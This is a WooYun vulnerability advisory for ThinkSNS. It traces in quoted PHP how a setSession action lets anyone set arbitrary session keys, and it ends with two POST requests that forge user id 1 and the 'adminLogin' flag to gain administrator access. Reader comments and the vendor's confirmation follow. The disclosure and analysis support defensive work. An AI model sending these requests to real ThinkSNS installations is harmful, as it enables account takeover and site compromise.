当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-043033

漏洞标题：ThinkSNS任意用户登陆+后台管理绕过

相关厂商：ThinkSNS

漏洞作者： 猪头子

提交时间：2013-11-15 22:56

修复时间：2014-02-13 22:57

公开时间：2014-02-13 22:57

漏洞类型：非授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-15： 细节已通知厂商并且等待厂商处理中
2013-11-17： 厂商已经确认，细节仅向厂商公开
2013-11-20： 细节向第三方安全合作伙伴开放
2014-01-11： 细节向核心白帽子及相关领域专家公开
2014-01-21： 细节向普通白帽子公开
2014-01-31： 细节向实习白帽子公开
2014-02-13： 细节向公众公开

简要描述：

大概三个月前找到的，没想到还是没补

详细说明：

在/apps/page/Lib/Action/DiyAction.class.php 205行 setSession函数：

public function setSession() {
          echo $_SESSION [ $_POST ['name'] ]  = base64_encode( $_POST ['layout']) ;
     }


setSession函数用POST传入的name和base64编码的layout为$_SESSION赋值。
在/apps/admin/Lib/Action/AdministratorAction.class.php的_initialize函数是负责判断当前用户是否有后台管理员权限的：

public function _initialize()
    {
        if(!model('Passport')->checkAdminLogin()){
            redirect(U('admin/Public/login'));
        }
        $this->systemdata_list = APP_NAME.'_'.MODULE_NAME;
          $this->systemdata_key  = ACTION_NAME;
        $this->pageKey = APP_NAME.'_'.MODULE_NAME.'_'.ACTION_NAME;
        $this->searchPageKey = 'S_'.APP_NAME.'_'.MODULE_NAME.'_'.ACTION_NAME;
        $this->savePostUrl = U('admin/Index/saveConfigData');
        $this->searchPostUrl = U(APP_NAME.'/'.MODULE_NAME.'/'.ACTION_NAME);
        $this->submitAlias = L('PUBLIC_SAVE');
        $this->assign('isAdmin',1);
        $this->onload[] = 'admin.bindTrOn()';
        $this->getSearchPost(); //默认初始化post查询  
       
        if(!CheckPermission('core_admin','admin_login')){
            $this->assign('jumpUrl',SITE_URL);
            $this->error(L('PUBLIC_NO_FRONTPLATFORM_PERMISSION_ADMIN'));
        }
        $this->navList = model('Xdata')->get('admin_nav:top');
    }


有两个点是验证权限的地方，跟进去
先看checkAdminLogin函数
/addons/model/PassportModel.class.php checkAdminLogin()

/**
     * 验证后台登录
     * @return boolean 是否已经登录后台
     */
     public function checkAdminLogin() {
          if($_SESSION['adminLogin']) {
               return true;
          } else {
               return false;
          }
     }


这段代码判断若$_SESSION['adminLogin']存在那么直接返回true，因此可以通过前面的setSession函数设置一下$_SESSION['adminLogin']就可以了，不必关心它的值。
看CheckPermission函数：
/core\OpenSociax\functions.inc.php:987

/**
* 验证权限方法
* @param string $load 应用 - 模块 字段
* @param string $action 权限节点字段
* @param unknown_type $group 是否指定应用内部用户组
*/
function CheckPermission($load = '', $action = '', $group = ''){
    if(empty($load) || empty($action)) {
        return false;
    }
    $Permission = model('Permission')->load($load);
    if(!empty($group)){
        return $Permission->group($group)->check($action);
    }
    return $Permission->check($action);
}


在跟踪的时候会进入$Permission->check($action)，因此继续跟下去：
/addons/model/PermissionModel.class.php

/**
     * 验证权限
     * @param string $action 动作节点
     * @return boolean 是否具有该动作节点的权限
     */
     public function check($action) {
          // 验证时载入当前应用 - 模块的权限
          if(empty($this->option['app']) || empty($this->option['module'])) {
               return false;
          }
          // 判断是否为扩展应用
          if(!in_array($this->option['app'], array('core'))) {
               // 判断应用是否关闭
               $isOpen = model('App')->isAppNameOpen(strtolower($this->option['app']));
               if(!$isOpen) {
                    return false;
               }
          }
         
          $permission = $this->loadRule($GLOBALS['ts']['mid']);
          if(isset($permission[$this->option['app']][$this->option['module']][$action])) {
               return true;
          }
          return false;
     }


$GLOBALS['ts']['mid']的值是当前用户的id，loadRule函数根据这个从系统中读取当前id用户所拥有的权限，我们需要把这里的mid改1才能通过校验。
于是在程序入口找了一遍$GLOBALS['ts']['mid']是怎么被赋值的：
/core/OpenSociax/Action.class.php:

//当前登录者uid
$GLOBALS['ts']['mid'] = $this->mid = intval($_SESSION['mid']);


这里使用了intval从session中取出mid放到globals里面。
需要注意的是intval的原理，截取第一个数字作为函数的返回值，如intval('1a')=1,intval('a')=0,intval('a1a')=0
然后找到%D5的base64编码是1开头的，所以给$_SESSION['mid']设置为%D5

漏洞证明：

1. POST index.php?app=page&mod=Diy&act=setSession
name=mid&layout=%D4
2. POST index.php?app=page&mod=Diy&act=setSession
name=adminLogin&layout=test

2.jpg

修复方案：

至少对这个函数做下限制吧，不允许用户提交key

版权声明：转载请注明来源 猪头子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-11-17 02:33

厂商回复：

非常感谢，一个非常严重的漏洞。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-11-15 23:39 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    MARK

  2. 2013-11-16 11:07 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    洞主发的洞洞一直都是我的最爱啊···

  3. 2013-11-17 06:33 | s0mun5 认证白帽子 ( 普通白帽子 | Rank:493 漏洞数:24 | .)

    爱上一个不回短信的人

  4. 2013-12-06 15:44 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    非常严重为啥不给20 呀-0-

  5. 2014-04-08 22:23 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才！)

    <?phpecho base64_encode("%D5");?>JUQ1intval 后，值为0貌似这里有问题！

  6. 2014-04-10 16:04 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)

    @江南的鱼 =。= 哪里有问题了，%D5是URL编码，正确的写法是base64_encode(urldecode("%d5"))

  7. 2014-04-10 23:03 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才！)

    @猪头子 学习了。确实是我测试时搞错了！忽视了URL编码